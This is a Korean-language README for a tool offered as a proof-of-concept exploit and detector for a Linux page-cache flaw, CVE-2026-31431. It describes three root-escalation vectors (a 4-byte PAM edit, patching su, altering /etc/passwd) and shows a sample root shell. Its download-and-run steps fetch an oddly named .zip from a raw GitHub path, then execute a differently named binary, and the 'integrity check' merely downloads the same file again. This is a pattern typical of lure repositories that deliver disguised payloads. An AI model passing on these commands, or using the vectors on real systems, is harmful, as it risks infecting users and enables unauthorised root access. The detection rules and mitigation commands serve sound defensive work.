
시스템 무결성을 모니터링하고 PAM 인증을 우회하는 정적 바이너리를 사용하여 CVE-2026-31431 취약점을 익스플로잇하고 탐지합니다.
CVE-2026-31431 (CopyFail)에 대한 다중 벡터 PoC + 대응 탐지. 다른 공개 PoC에서는 제공하지 않는 새로운 PAM 인증 우회 벡터를 포함합니다. 탐지 모드는 AIDE / Wazuh / OSSEC / Tripwire가 구조적으로 탐지할 수 없는 것을 잡아냅니다.
단일 정적 바이너리. 약 108 KB. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
하나의 명령어. 루트 쉘. 내부적으로 PAM 킬샷 (단일 4바이트 쓰기를 /etc/pam.d/common-auth에 수행), PTY 드롭을 통해 sudo로 루트 진입, 비밀번호는 무시됩니다. [sudo] password for noot: 줄이 잠깐 나타납니다. sudo는 항상 해당 프롬프트를 출력하며, 바이너리는 임의의 문자열을 입력하고 주석 처리된 pam_deny.so를 통해 pam_unix의 실패가 pam_permit.so로 이어져 → 루트가 됩니다.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← 실제로 로드된 내용 (변형됨)
disk: 117dab1c... ← AIDE / Wazuh / Tripwire가 보는 내용 (깨끗함)
이것이 프로젝트입니다. 디스크는 깨끗하고, 캐시는 변형되었습니다. 모든 공개 FIM은 이를 볼 수 없습니다. 이 도구는 볼 수 있습니다.
v0.1.0 릴리스에 사전 빌드된 정적 바이너리가 있습니다. 아키텍처를 선택하고 다운로드하여 실행하세요.
# x86_64 (대부분의 노트북 + 클라우드 서버)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
다른 아키텍처:
| 아키텍처 | 파일 |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
무결성 확인:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
정적 musl 바이너리로, 런타임 종속성이 없으며 모든 Linux에서 실행 가능합니다.
페이지 캐시 변형. VFS 쓰기 없음. 더티 페이지 없음. inotify 이벤트 없음. 주기적인 재검사가 축출(eviction)과 경쟁합니다.
AIDE/Wazuh/OSSEC/Tripwire/Samhain은 버퍼링된 I/O → 페이지 캐시 → 변형된 바이트를 해시하여 진실로 간주합니다. 또는 축출 후, 깨끗한 디스크를 해시하여 "변경이 절대 없었다"고 판단합니다.
탐지를 위해서는 O_DIRECT (캐시 건너뛰기) + 버퍼링된 읽기 (캐시 적중) + 해시 차이가 필요합니다. 불일치 = CopyFail 시그니처입니다. 이것이 --scan입니다.
자동 선택: --vector auto (기본값). pam > su > passwd 순서로 은밀함을 우선시합니다. 실패 시 대체.
모든 곳에서 --json 지원으로 SIEM 수집 가능.
detection/ 디렉토리:
sigma/copyfail-af-alg.yml, Sigma 규칙, SIEM에 적용auditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, bpftrace 원라이너apparmor/copyfail-block.profile, AppArmor 3.0+ 차단 규칙mitigation/disable-algif.sh, modprobe 블랙리스트 + =y 경고echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
또는 커널 메인라인 a664bf3d603d (2026년 4월). 현재로서는 Debian Sid/Forky만 배포했습니다. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle은 모두 취약합니다.
주의: CONFIG_CRYPTO_USER_API_AEAD=y (커널 내장)로 설정된 경우 modprobe를 우회합니다. --check에서 경고합니다.
익스플로잇 및 완화 후: 캐시 변형은 재부팅까지 지속됩니다. 완화는 새로운 익스플로잇을 차단하지만, 기존 변형을 되돌리지는 않습니다.
cargo build --release --target x86_64-unknown-linux-musl
| 대상 | 크기 |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std. 할당자 없음. 런타임 종속성 없음. 단일 정적 바이너리.
사전 빌드된 아티팩트와 SHA256 합계는 GitHub 릴리스에 첨부되어 있습니다.
각 모드(익스플로잇 auto/list/all, 탐지 check/scan/baseline/diff/watch/hunt)에 대한 구체적인 한 화면 예제는 docs/usage.md를 참조하세요.
이 README의 좀 더 긴 서사형 버전(더 많은 맥락, 깊이 있는 설명)은 BLOG.md를 참조하세요.
docs/threat-model.md 참조.
자신의 하드웨어에서만 사용. CLI 게이트 없음 (보안 극장). README + LICENSE가 프레임워크 역할.
탐지 모드는 읽기 전용입니다. 프로덕션에서 안전합니다.
익스플로잇 모드는 커널 페이지 캐시를 변형합니다. RAM에만 영향이 있지만 파괴적이라고 간주해야 합니다. 이후 호출자의 인증을 차단합니다.
CVE-2026-31431은 2026-04-29에 Theori / Xint가 공개 (writeup, Xint 블로그). 이전 공개 PoC:
이 프로젝트(copyfail-rs): PAM 인증 우회 벡터, 이중 모드 탐지, 침해 대응 아티팩트를 추가합니다.
MIT.
a664bf3d603d72548b093ee3 (4.14, 2017년 8월)| 벡터 | 대상 | 적용 위치 |
|---|
pam (신규) | /etc/pam.d/common-auth (Debian/Ubuntu) 또는 system-auth (Fedora/RHEL/Arch) | 4바이트. auth requisite pam_deny.so → #aut requisite pam_deny.so. 임의의 비밀번호로 sudo 실행 시 root 획득. |
su | /usr/bin/su | setuid 바이너리 텍스트 변형. execve → root. |
passwd | /etc/passwd | UID 변경 → 다음 로그인 시 사용자가 root가 됨. 해당 사용자의 SSH 접속을 차단함. |
| 모드 | 설명 |
|---|
--check | 커널 + 모듈 + CONFIG_CRYPTO_USER_API_AEAD + 완화 상태 확인. 결과: 취약 / 완화됨 / 안전. |
--scan | 중요 파일에 대해 O_DIRECT와 버퍼링된 읽기 차이 비교. statfs() 기반 분기: ext4/xfs/btrfs는 O_DIRECT 사용, overlayfs는 fallback, tmpfs는 건너뜀. |
--baseline / --diff | 알려진 깨끗한 상태의 스냅샷 저장. 나중에 차이 비교. 캐시 전용 델타 = CopyFail 지문. |
--watch | 데몬. 주기적 스캔. SIGTERM으로 안전 종료. |
--hunt | SSH Fleet 스윕. JSON 집계. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| 벡터 | su | su + passwd | su | su + passwd + PAM (신규) |
| 탐지 | 없음 | 없음 | 없음 | 전체 --mode detect |
| 침해 대응 아티팩트 | 없음 | 없음 | 없음 | Sigma + auditd + eBPF + AppArmor |
| 운영자 UX | 3개 명령어 | 4개 명령어 | 5개 명령어 | 1개 명령어 |
| 바이너리 | Python 필요 | ~10 KB | ~5 MB | ~108 KB 정적 |